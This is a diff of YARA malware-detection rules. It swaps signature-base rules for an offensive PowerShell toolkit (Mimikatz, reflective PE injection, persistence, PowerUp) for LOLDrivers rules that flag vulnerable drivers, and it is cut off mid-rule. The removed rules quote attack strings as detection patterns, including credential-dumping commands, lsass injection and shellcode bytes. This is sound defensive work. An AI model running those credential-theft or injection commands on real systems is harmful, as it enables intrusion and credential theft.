-		id = "193d64b6-ffba-55fb-ab95-9c78552b8d68"
-		date = "2016-09-04"
-		modified = "2023-12-05"
-		reference = "https://github.com/vysec/ps1-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_toolkit.yar#L51-L69"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "03e9a8c5e45781d73fd13c331d82802a18e4255b506e896019d6f08c5a67dedf"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - vboxdrv.sys"
+		author = "Florian Roth"
+		id = "c367a41e-58e4-59cd-a3f4-dfcd001e7040"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7068-L7088"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "78827fa00ea48d96ac9af8d1c1e317d02ce11793e7f7f6e4c7aac7b5d7dd490f"
+		hash = "c26b51b4c37330800cff8519252e110116c3aaade94ceb9894ec5bfb1b8f9924"
+		logic_hash = "5e95853e7a2013132a6565b5908475e6369a56ff6c58f0e10c875b72b15b2523"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "24abe9f3f366a3d269f8681be80c99504dea51e50318d83ee42f9a4c7435999a"
 
 	strings:
-		$s1 = "Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii
-		$s2 = "Get-ProcAddress kernel32.dll OpenProcess" fullword ascii
-		$s3 = "msfpayload windows/exec CMD=\"cmd /k calc\" EXITFUNC=thread C | sed '1,6d;s/[\";]//g;s/\\\\/,0/g' | tr -d '\\n' | cut -c2- " fullword ascii
-		$s4 = "inject shellcode into" ascii
-		$s5 = "Injecting shellcode" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e007200340035003800340036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0030002e007200340035003800340036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530075006e0020005600690072007400750061006c0042006f0078 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002000530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
 
 	condition:
-		( uint16(0)==0xbbef and filesize <90KB and 1 of them ) or (3 of them )
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Ps1_Toolkit_Invoke_Mimikatz : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Corsairmemoryinc_Corsairllaccess_Corsairllaccess_5FAD : FILE
 {
 	meta:
-		description = "Auto-generated rule - file Invoke-Mimikatz.ps1"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7c0252a1-fbe4-5519-949b-285073abb21f"
-		date = "2016-09-04"
-		modified = "2023-12-05"
-		reference = "https://github.com/vysec/ps1-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_toolkit.yar#L71-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0bca6245befb5183f6a45406823c45267b0a31fb0d4505606b98025f6494f2cc"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CorsairLLAccess64.sys"
+		author = "Florian Roth"
+		id = "95bb049c-cef2-5235-8e3d-ebe9591b7e27"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7091-L7111"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "5fad3775feb8b6f6dcbd1642ae6b6a565ff7b64eadfc9bf9777918b51696ab36"
+		hash = "29a90ae1dcee66335ece4287a06482716530509912be863c85a2a03a6450a5b6"
+		logic_hash = "5dc9ec007f318b16034b43248be9807c024780aa58eb714982130656e7f2b6a6"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5c31a2e3887662467cfcb0ac37e681f1d9b0f135e6dfff010aae26587e03d8c8"
 
 	strings:
-		$s1 = "Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii
-		$s2 = "ps | where { $_.Name -eq $ProcName } | select ProcessName, Id, SessionId" fullword ascii
-		$s3 = "privilege::debug exit" ascii
-		$s4 = "Get-ProcAddress Advapi32.dll AdjustTokenPrivileges" fullword ascii
-		$s5 = "Invoke-Mimikatz -DumpCreds" fullword ascii
-		$s6 = "| Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310036002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310036002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e002000280063002900200032003000310039002c00200041006c006c0020007200690067006800740073002000720065007300650072007600650064 }
 
 	condition:
-		( uint16(0)==0xbbef and filesize <10000KB and 1 of them ) or (3 of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Ps1_Toolkit_Invoke_Relfectivepeinjection : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Razerinc_Rzpnk_Rzpnk_16E2 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file Invoke-RelfectivePEInjection.ps1"
-		author = "Florian Roth (Nextron Systems)"
-		id = "75ceb01e-103f-55b2-8362-42d22a35a36a"
-		date = "2016-09-04"
-		modified = "2023-12-05"
-		reference = "https://github.com/vysec/ps1-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_toolkit.yar#L92-L111"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "910b8b1dbc7306369f90eae0dfd5949347b2c41fa0eb5f590aed8e90e8db199a"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rzpnk.sys"
+		author = "Florian Roth"
+		id = "8c1ee58c-e03e-55dd-a1ff-bc03594778ae"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7114-L7134"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "16e2b071991b470a76dff4b6312d3c7e2133ad9ac4b6a62dda4e32281952fb23"
+		hash = "0c925468c3376458d0e1ec65e097bd1a81a03901035c0195e8f6ef904ef3f901"
+		logic_hash = "162cf712c505520635388ec61c69165a2fff8704c7edef58c63cc8cbcc624e0d"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "510b345f821f93c1df5f90ac89ad91fcd0f287ebdabec6c662b716ec9fddb03a"
 
 	strings:
-		$x1 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)" fullword ascii
-		$x2 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local" fullword ascii
-		$x3 = "} = Get-ProcAddress Advapi32.dll OpenThreadToken" ascii
-		$x4 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local" fullword ascii
-		$s5 = "$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll')" fullword ascii
-		$s6 = "= Get-ProcAddress Advapi32.dll AdjustTokenPrivileges" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520061007a006500720020004f007600650072006c0061007900200053007500700070006f00720074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520061007a00650072002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310032002e0033003100330037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310032002e0033003100330037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0052007a0070006e006b }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0052007a0070006e006b }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0052007a0070006e006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310030002d0032003000310034 }
 
 	condition:
-		( uint16(0)==0xbbef and filesize <700KB and 2 of them ) or ( all of them )
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Ps1_Toolkit_Persistence : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_060D : FILE
 {
 	meta:
-		description = "Auto-generated rule - file Persistence.ps1"
-		author = "Florian Roth (Nextron Systems)"
-		id = "38115391-75ac-5ba8-b31b-dcf4c66179b0"
-		date = "2016-09-04"
-		modified = "2023-12-05"
-		reference = "https://github.com/vysec/ps1-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_toolkit.yar#L113-L134"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bfe6b20fb712fcf7b45d0ef80075bc9a254867d2251109f377a378f887b38494"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "3efdeeef-8fe7-57a7-9424-505b46fb75e4"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7137-L7157"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "060d25126e45309414b380ee29f900840b689eae4217a8e621563f130c1d457f"
+		hash = "b8321471be85dc8a67ac18a2460cab50e7c41cb47252f9a7278b1e69d6970f25"
+		logic_hash = "f7a87edc0403a7b8273256805bb8c7aadadde8143db84be9b3968ef67cf3c1c4"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e1a4dd18b481471fc25adea6a91982b7ffed1c2d393c8c17e6e542c030ac6cbd"
 
 	strings:
-		$s1 = "\"`\"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```\"root\\subscription```" ascii
-		$s2 = "}=$PROFILE.AllUsersAllHosts;${" ascii
-		$s3 = "C:\\PS> $ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup" ascii
-		$s4 = "= gwmi Win32_OperatingSystem | select -ExpandProperty OSArchitecture" ascii
-		$s5 = "-eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAxADQAQwA='))))" ascii
-		$s6 = "}=$PROFILE.CurrentUserAllHosts;${" ascii
-		$s7 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBPAG4ASQBkAGwAZQA=')" ascii
-		$s8 = "[System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560049004400490041002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056004900440049004100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00300035002e00300032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00300035002e00300032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560049004400490041002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9004e0056004900440049004100200043006f00720070002e00200032003000300033002d0032003000300034 }
 
 	condition:
-		( uint16(0)==0xbbef and filesize <200KB and 2 of them ) or (4 of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Ps1_Toolkit_Invoke_Mimikatz_Relfectivepeinjection : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Ludashicom_Computerzsys_7553 : FILE
 {
 	meta:
-		description = "Auto-generated rule - from files Invoke-Mimikatz.ps1, Invoke-RelfectivePEInjection.ps1"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e9471f95-48e1-57e0-b0be-f916c574a6a7"
-		date = "2016-09-04"
-		modified = "2023-12-05"
-		reference = "https://github.com/vysec/ps1-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_toolkit.yar#L136-L162"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "220597cb76c189adc33a9ac740c8164b52743f61523898aefb7a74206b23b76b"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "9880d118-943b-5532-8e6a-22f0a9d9b255"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7160-L7180"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7553c76b006bd2c75af4e4ee00a02279d3f1f5d691e7dbdc955eac46fd3614c3"
+		hash = "64dddd5ac53fe2c9de2b317c09034d1bccaf21d6c03ccfde3518e5aa3623dd66"
+		logic_hash = "e60b387fe83bffdd1411f3b8fb491f0b60ff0de3eac87c9c5ee8c55ca6c48afc"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "5c31a2e3887662467cfcb0ac37e681f1d9b0f135e6dfff010aae26587e03d8c8"
-		hash2 = "510b345f821f93c1df5f90ac89ad91fcd0f287ebdabec6c662b716ec9fddb03a"
 
 	strings:
-		$s1 = "[IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])" fullword ascii
-		$s2 = "if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)" fullword ascii
-		$s3 = "[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)" fullword ascii
-		$s4 = "Function Import-DllInRemoteProcess" fullword ascii
-		$s5 = "FromBase64String('QwBvAG4AdABpAG4AdQBlAA==')))" fullword ascii
-		$s6 = "[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)" fullword ascii
-		$s7 = "[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)" fullword ascii
-		$s8 = "[System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null" fullword ascii
-		$s9 = "::FromBase64String('RABvAG4AZQAhAA==')))" ascii
-		$s10 = "Write-Verbose \"PowerShell ProcessID: $PID\"" fullword ascii
-		$s11 = "[IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]006c007500640061007300680069002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031003000310039002e0031003000320035002e003900310038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0031003000310039002e0031003000320035002e003900310038 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]9c8159275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003100390020007700770077002e006c007500640061007300680069002e0063006f006d }
 
 	condition:
-		( uint16(0)==0xbbef and filesize <10000KB and 3 of them ) or (6 of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Ps1_Toolkit_Inveigh_Bruteforce_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Overclockingtool_Atillksys_Overclockingtool_11A9 : FILE
 {
 	meta:
-		description = "Auto-generated rule - from files Inveigh-BruteForce.ps1"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1319b03d-67e8-5155-8037-e3375e39f6a0"
-		date = "2016-09-04"
-		modified = "2023-12-05"
-		reference = "https://github.com/vysec/ps1-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_toolkit.yar#L164-L181"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5c035898a9574e2516cbc66efcf57f7380fd979c4a5099f8a0a190ad21af32c0"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - atillk64.sys"
+		author = "Florian Roth"
+		id = "9b7e6787-abbf-5bfb-a833-a0b078566ed7"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7183-L7203"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "11a9787831ac4f0657aeb5e7019c23acc39d8833faf28f85bd10d7590ea4cc5f"
+		hash = "d2182b6ef3255c7c1a69223cd3c2d68eb8ba3112ce433cd49cd803dc76412d4b"
+		logic_hash = "07b8fb1b1b86b58a6fb7f18f3b1b70eee5826fa5c629a8cef1b97afbae7ea7c3"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
 
 	strings:
-		$s1 = "}.NTLMv2_file_queue[0]|Out-File ${" ascii
-		$s2 = "}.NTLMv2_file_queue.RemoveRange(0,1)" ascii
-		$s3 = "}.NTLMv2_file_queue.Count -gt 0)" ascii
-		$s4 = "}.relay_running = $false" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004f0076006500720063006c006f0063006b0069006e00670020004800610072006400770061007200650020004100620073007400720061006300740069006f006e0020005300790073 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f0076006500720063006c006f0063006b0069006e006700200054006f006f006c }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00310030002e00320030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00310030002e00320030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100740069006c006c006b00360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004f0076006500720063006c006f0063006b0069006e006700200054006f006f006c }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100740069006c006c006b00360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002c00200032003000300035 }
 
 	condition:
-		( uint16(0)==0xbbef and filesize <200KB and 2 of them ) or (4 of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Ps1_Toolkit_Powerup_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_2A62 : FILE
 {
 	meta:
-		description = "Auto-generated rule - from files PowerUp.ps1"
-		author = "Florian Roth (Nextron Systems)"
-		id = "11322a66-67d4-574b-acef-35d06e6f95f4"
-		date = "2016-09-04"
-		modified = "2023-12-05"
-		reference = "https://github.com/vysec/ps1-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_toolkit.yar#L183-L202"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8cbd86f103d8b49e72787cbb85fc97e6a02d5332039ce29359cb673c273760b7"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		id = "7c67b2a6-a2da-56ce-8ed4-017838ea7673"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7206-L7225"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2a6212f3b68a6f263e96420b3607b31cfdfe51afff516f3c87d27bf8a89721e8"
+		logic_hash = "5fae0a4ba7d11e3714baab3417a1bdd9fff6275fa9347c0389d8627374533bbf"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fc65ec85dbcd49001e6037de9134086dd5559ac41ac4d1adf7cab319546758ad"
 
 	strings:
-		$s1 = "if($MyConString -like $([Text.Encoding]::Unicode.GetString([Convert]::" ascii
-		$s2 = "FromBase64String('KgBwAGEAcwBzAHcAbwByAGQAKgA=')))) {" ascii
-		$s3 = "$Null = Invoke-ServiceStart" ascii
-		$s4 = "Write-Warning \"[!] Access to service $" ascii
-		$s5 = "} = $MyConString.Split(\"=\")[1].Split(\";\")[0]" ascii
-		$s6 = "} += \"net localgroup ${" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000360035002c00200030002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000360035002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100320020002d0020007700770077002e007400670073006f00660074002e00690074 }
 
 	condition:
-		( uint16(0)==0xbbef and filesize <2000KB and 2 of them ) or (4 of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Ps1_Toolkit_Persistence_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_AAA3 : FILE
 {
 	meta:
-		description = "Auto-generated rule - from files Persistence.ps1"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d79c328b-4471-52bb-882c-12d2e1302c1e"
-		date = "2016-09-04"
-		modified = "2023-12-05"
-		reference = "https://github.com/vysec/ps1-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_toolkit.yar#L204-L226"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "47d1c3593edeba02e1c08cc53b4ba3d375b73dd04816b84e807e28be2bcf917e"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "9b0770d3-d004-552f-be65-6dcc14f06cc7"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7228-L7247"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "aaa3459bcac25423f78ed72dbae4d7ef19e7c5c65770cbe5210b14e33cd1816c"
+		logic_hash = "bb87661658fa874985bbe1050c19eb8ea9136ec62c224d53cd4920866e6a6b1f"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e1a4dd18b481471fc25adea6a91982b7ffed1c2d393c8c17e6e542c030ac6cbd"
 
 	strings:
-		$s1 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBPAG4ASQBkAGwAZQA=')" ascii
-		$s2 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBEAGEAaQBsAHkA')" ascii
-		$s3 = "FromBase64String('UAB1AGIAbABpAGMALAAgAFMAdABhAHQAaQBjAA==')" ascii
-		$s4 = "[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]" ascii
-		$s5 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAHQATABvAGcAbwBuAA==')))" ascii
